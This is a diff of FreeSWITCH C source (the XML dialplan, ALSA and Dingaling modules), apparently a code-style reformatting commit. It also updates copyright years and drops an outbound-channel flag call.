@@ -229,13 +229,13 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
if (time_match == 1) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
"Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
anti_action = SWITCH_FALSE;
} else if (time_match == 0) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
"Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
}
if (field) {
@@ -252,21 +252,20 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
if (!field_data) {
field_data = "";
}
if ((proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
anti_action = SWITCH_FALSE;
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
}
} else if (time_match == -1) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Absolute Condition [%s]\n",
switch_channel_get_name(channel), exten_name);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Absolute Condition [%s]\n", switch_channel_get_name(channel), exten_name);
anti_action = SWITCH_FALSE;
}
@@ -275,7 +274,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
const char *application = switch_xml_attr_soft(xaction, "application");
const char *data;
const char *inline_ = switch_xml_attr_soft(xaction, "inline");
int xinline = switch_true(inline_);
int xinline = switch_true(inline_);
if (!zstr(xaction->txt)) {
data = xaction->txt;
@@ -284,8 +283,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s ANTI-Action %s(%s) %s\n",
switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
"Dialplan: %s ANTI-Action %s(%s) %s\n", switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
if (!*extension) {
if ((*extension = switch_caller_extension_new(session, exten_name, caller_profile->destination_number)) == 0) {
@@ -340,9 +338,8 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
}
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Action %s(%s) %s\n",
switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s Action %s(%s) %s\n", switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
if (xinline) {
@@ -356,9 +353,8 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
}
switch_regex_safe_free(re);
if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
(anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) ||
do_break_i == BREAK_ALWAYS) {
if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
(anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) || do_break_i == BREAK_ALWAYS) {
break;
}
}
@@ -370,7 +366,8 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
return proceed;
}
static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root, switch_xml_t *node)
static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root,
switch_xml_t *node)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_GENERR;
@@ -457,8 +454,8 @@ SWITCH_STANDARD_DIALPLAN(dialplan_hunt)
exten_name = "UNKNOWN";
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s parsing [%s->%s] continue=%s\n",
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: %s parsing [%s->%s] continue=%s\n",
switch_channel_get_name(channel), caller_profile->context, exten_name, cont ? cont : "false");
proceed = parse_exten(session, caller_profile, xexten, &extension);
+1 -1
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
+15 -13
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -151,7 +151,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -730,12 +731,12 @@ static switch_state_handler_table_t channel_event_handlers = {
/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
/*.on_consume_media*/ NULL,
/*.on_hibernate*/ NULL,
/*.on_reset*/ NULL,
/*.on_park*/ NULL,
/*.on_reporting*/ NULL,
/*.on_destroy*/ channel_on_destroy
/*.on_consume_media */ NULL,
/*.on_hibernate */ NULL,
/*.on_reset */ NULL,
/*.on_park */ NULL,
/*.on_reporting */ NULL,
/*.on_destroy */ channel_on_destroy
};
static switch_io_routines_t channel_io_routines = {
@@ -761,7 +762,8 @@ static switch_endpoint_interface_t channel_endpoint_interface = {
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(&channel_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
@@ -799,7 +801,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_state(channel, CS_INIT);
return SWITCH_CAUSE_SUCCESS;
@@ -824,7 +825,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_alsa_load)
alsa_endpoint_interface->state_handler = &channel_event_handlers;
SWITCH_ADD_API(api_interface, "alsa", "Alsa", pa_cmd, "<command> [<args>]");
if (switch_core_new_memory_pool(&module_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool\n");
@@ -954,7 +955,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_alsa_shutdown)
switch_core_codec_destroy(&globals.write_codec);
}
switch_core_hash_destroy(&globals.call_hash);
switch_safe_free(globals.dialplan);
switch_safe_free(globals.cid_name);
switch_safe_free(globals.cid_num);
@@ -1013,7 +1014,8 @@ static switch_status_t engage_device(unsigned int sample_rate, int codec_ms)
}
if (switch_core_timer_init(&globals.timer,
globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet, module_pool) != SWITCH_STATUS_SUCCESS) {
globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet,
module_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
switch_core_codec_destroy(&globals.read_codec);
switch_core_codec_destroy(&globals.write_codec);
+109 -102
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -206,7 +206,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -459,7 +460,8 @@ static void pres_event_handler(switch_event_t *event)
}
sql =
switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr, from);
switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr,
from);
for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, NULL, NULL, &val);
@@ -485,7 +487,7 @@ static void pres_event_handler(switch_event_t *event)
}
static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
const char *body, const char *type, const char *hint)
const char *body, const char *type, const char *hint)
{
char *user, *host, *f_user = NULL, *ffrom = NULL, *f_host = NULL, *f_resource = NULL;
mdl_profile_t *profile = NULL;
@@ -518,7 +520,7 @@ static switch_status_t chat_send(const char *proto, const char *from, const char
*p = '\0';
}
}
ldl_handle_send_msg(profile->handle, (char*)from, (char*)to, NULL, switch_str_nil(body));
ldl_handle_send_msg(profile->handle, (char *) from, (char *) to, NULL, switch_str_nil(body));
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Profile %s\n", f_host ? f_host : "NULL");
return SWITCH_STATUS_FALSE;
@@ -699,7 +701,8 @@ static void terminate_session(switch_core_session_t **session, int line, switch_
switch_channel_state_t state = switch_channel_get_state(channel);
struct private_object *tech_pvt = NULL;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line, switch_channel_state_name(state));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line,
switch_channel_state_name(state));
tech_pvt = switch_core_session_get_private(*session);
@@ -874,10 +877,9 @@ static int activate_rtp(struct private_object *tech_pvt)
switch_core_session_set_read_codec(tech_pvt->session, &tech_pvt->read_codec);
switch_core_session_set_write_codec(tech_pvt->session, &tech_pvt->write_codec);
if (globals.auto_nat && tech_pvt->profile->local_network &&
!switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
switch_port_t external_port = 0;
switch_nat_add_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
switch_nat_add_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
tech_pvt->local_port = external_port;
}
@@ -885,7 +887,7 @@ static int activate_rtp(struct private_object *tech_pvt)
tech_pvt->local_port, tech_pvt->remote_ip, tech_pvt->remote_port);
flags = SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_GOOGLEHACK | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_RAW_WRITE | SWITCH_RTP_FLAG_AUTO_CNG;
if (switch_test_flag(tech_pvt->profile, TFLAG_TIMER)) {
flags |= SWITCH_RTP_FLAG_USE_TIMER;
@@ -973,11 +975,13 @@ static int do_candidates(struct private_object *tech_pvt, int force)
}
cand[0].address = tech_pvt->profile->ip;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address, cand[0].port);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address,
cand[0].port);
if (switch_stun_lookup
(&cand[0].address, &cand[0].port, stun_ip, SWITCH_STUN_DEFAULT_PORT, &err,
switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip, SWITCH_STUN_DEFAULT_PORT, err);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip,
SWITCH_STUN_DEFAULT_PORT, err);
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
return 0;
}
@@ -995,7 +999,8 @@ static int do_candidates(struct private_object *tech_pvt, int force)
cand[0].password = tech_pvt->local_pass;
cand[0].pref = 1;
cand[0].protocol = "udp";
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port, cand[0].username);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port,
cand[0].username);
tech_pvt->cand_id = ldl_session_candidates(tech_pvt->dlsession, cand, 1);
switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT);
switch_set_flag_locked(tech_pvt, TFLAG_RTP_READY);
@@ -1232,9 +1237,8 @@ static switch_status_t channel_on_destroy(switch_core_session_t *session)
tech_pvt->rtp_session = NULL;
}
if (globals.auto_nat && tech_pvt->profile->local_network &&
!switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
switch_nat_del_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP);
if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
switch_nat_del_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP);
}
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
@@ -1593,12 +1597,12 @@ switch_state_handler_table_t dingaling_event_handlers = {
/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
/*.on_consume_media*/ NULL,
/*.on_hibernate*/ NULL,
/*.on_reset*/ NULL,
/*.on_park*/ NULL,
/*.on_reporting*/ NULL,
/*.on_destroy*/ channel_on_destroy
/*.on_consume_media */ NULL,
/*.on_hibernate */ NULL,
/*.on_reset */ NULL,
/*.on_park */ NULL,
/*.on_reporting */ NULL,
/*.on_destroy */ channel_on_destroy
};
switch_io_routines_t dingaling_io_routines = {
@@ -1618,7 +1622,8 @@ switch_io_routines_t dingaling_io_routines = {
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(dingaling_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
struct private_object *tech_pvt;
@@ -1686,7 +1691,8 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
}
if (mdl_profile->purge) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n", mdl_profile->name);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n",
mdl_profile->name);
terminate_session(new_session, __LINE__, SWITCH_CAUSE_NORMAL_UNSPECIFIED);
return SWITCH_CAUSE_NORMAL_UNSPECIFIED;
}
@@ -1754,7 +1760,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_stun_random_string(sess_id, 10, "0123456789");
@@ -1811,7 +1816,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dingaling_load)
switch_api_interface_t *api_interface;
module_pool = pool;
memset(&globals, 0, sizeof(globals));
load_config();
@@ -1831,17 +1836,20 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dingaling_load)
return SWITCH_STATUS_GENERR;
}
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) != SWITCH_STATUS_SUCCESS) {
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) !=
SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
return SWITCH_STATUS_GENERR;
}
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) != SWITCH_STATUS_SUCCESS) {
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) !=
SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
return SWITCH_STATUS_GENERR;
}
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) != SWITCH_STATUS_SUCCESS) {
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) !=
SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
return SWITCH_STATUS_GENERR;
}
@@ -1857,7 +1865,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dingaling_load)
return SWITCH_STATUS_GENERR;
}
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
dingaling_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
@@ -1903,13 +1911,10 @@ static switch_status_t init_profile(mdl_profile_t *profile, uint8_t login)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"Invalid Profile\n" "login[%s]\n" "pass[%s]\n" "dialplan[%s]\n"
"message[%s]\n" "rtp-ip[%s]\n" "name[%s]\n" "exten[%s]\n",
switch_str_nil(profile->login),
switch_str_nil(profile->password),
switch_str_nil(profile->dialplan),
switch_str_nil(profile->message),
switch_str_nil(profile->ip),
switch_str_nil(profile->name),
switch_str_nil(profile->exten));
switch_str_nil(profile->login),
switch_str_nil(profile->password),
switch_str_nil(profile->dialplan),
switch_str_nil(profile->message), switch_str_nil(profile->ip), switch_str_nil(profile->name), switch_str_nil(profile->exten));
return SWITCH_STATUS_FALSE;
}
@@ -1976,8 +1981,8 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_dingaling_shutdown)
switch_safe_free(globals.dialplan);
switch_safe_free(globals.codec_string);
switch_safe_free(globals.codec_rates_string);
switch_safe_free(globals.codec_rates_string);
return SWITCH_STATUS_SUCCESS;
}
@@ -2160,7 +2165,8 @@ SWITCH_STANDARD_API(dingaling)
switch_hash_index_t *hi;
switch_status_t status = SWITCH_STATUS_SUCCESS;
if (session) return status;
if (session)
return status;
if (zstr(cmd) || !(myarg = strdup(cmd))) {
stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
@@ -2179,9 +2185,9 @@ SWITCH_STANDARD_API(dingaling)
switch_hash_this(hi, NULL, NULL, &val);
profile = (mdl_profile_t *) val;
stream->write_function(stream, "%s | ", profile->login);
if (profile->handle && ldl_handle_authorized(profile->handle)){
if (profile->handle && ldl_handle_authorized(profile->handle)) {
stream->write_function(stream, "AUTHORIZED");
} else if (profile->handle && ldl_handle_connected(profile->handle)){
} else if (profile->handle && ldl_handle_connected(profile->handle)) {
stream->write_function(stream, "CONNECTED");
} else {
stream->write_function(stream, "UNCONNECTED");
@@ -2195,7 +2201,7 @@ SWITCH_STANDARD_API(dingaling)
stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
}
done:
done:
switch_safe_free(myarg);
return status;
}
@@ -2261,7 +2267,7 @@ SWITCH_STANDARD_API(dl_login)
} else {
stream->write_function(stream, "FAIL\n");
}
done:
done:
switch_safe_free(myarg);
return status;
@@ -2274,56 +2280,53 @@ static switch_bool_t match_profile(mdl_profile_t *profile, mdl_profile_t *new_pr
return SWITCH_TRUE;
}
if (
((!new_profile->name && !profile->name) ||
(new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
((!new_profile->login && !profile->login) ||
(new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
((!new_profile->password && !profile->password) ||
(new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
((!new_profile->message && !profile->message) ||
(new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
((!new_profile->avatar && !profile->avatar) ||
(new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
if (((!new_profile->name && !profile->name) ||
(new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
((!new_profile->login && !profile->login) ||
(new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
((!new_profile->password && !profile->password) ||
(new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
((!new_profile->message && !profile->message) ||
(new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
((!new_profile->avatar && !profile->avatar) || (new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
#ifdef AUTO_REPLY
((!new_profile->auto_reply && !profile->auto_reply) ||
(new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
((!new_profile->auto_reply && !profile->auto_reply) ||
(new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
#endif
((!new_profile->dialplan && !profile->dialplan) ||
(new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
((!new_profile->local_network && !profile->local_network) ||
(new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
((!new_profile->ip && !profile->ip) ||
(new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
((!new_profile->extip && !profile->extip) ||
(new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
((!new_profile->server && !profile->server) ||
(new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
((!new_profile->timer_name && !profile->timer_name) ||
(new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
((!new_profile->lanaddr && !profile->lanaddr) ||
(new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
((!new_profile->exten && !profile->exten) ||
(new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
((!new_profile->context && !profile->context) ||
(new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
(new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
) {
((!new_profile->dialplan && !profile->dialplan) ||
(new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
((!new_profile->local_network && !profile->local_network) ||
(new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
((!new_profile->ip && !profile->ip) ||
(new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
((!new_profile->extip && !profile->extip) ||
(new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
((!new_profile->server && !profile->server) ||
(new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
((!new_profile->timer_name && !profile->timer_name) ||
(new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
((!new_profile->lanaddr && !profile->lanaddr) ||
(new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
((!new_profile->exten && !profile->exten) ||
(new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
((!new_profile->context && !profile->context) ||
(new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
(new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
) {
uint32_t i;
if (switch_odbc_available()) {
if (!(
((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
(new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
((!new_profile->odbc_user && !profile->odbc_user) ||
(new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
((!new_profile->odbc_pass && !profile->odbc_pass) ||
(new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
)) {
if (!(((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
(new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
((!new_profile->odbc_user && !profile->odbc_user) ||
(new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
((!new_profile->odbc_pass && !profile->odbc_pass) ||
(new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
)) {
return SWITCH_FALSE;
}
}
for(i=0; i<new_profile->acl_count; i++) {
for (i = 0; i < new_profile->acl_count; i++) {
if (strcasecmp(new_profile->acl[i], profile->acl[i]) != 0) {
return SWITCH_FALSE;
}
@@ -2333,7 +2336,7 @@ static switch_bool_t match_profile(mdl_profile_t *profile, mdl_profile_t *new_pr
return SWITCH_TRUE;
}
static switch_status_t destroy_profile(char *name)
static switch_status_t destroy_profile(char *name)
{
mdl_profile_t *profile = NULL;
@@ -2374,7 +2377,7 @@ static switch_status_t soft_reload(void)
{
char *cf = "dingaling.conf";
mdl_profile_t *profile = NULL, *old_profile = NULL;
switch_xml_t cfg, xml, /*settings,*/ param, xmlint;
switch_xml_t cfg, xml, /*settings, */ param, xmlint;
void *data = NULL;
switch_hash_t *name_hash;
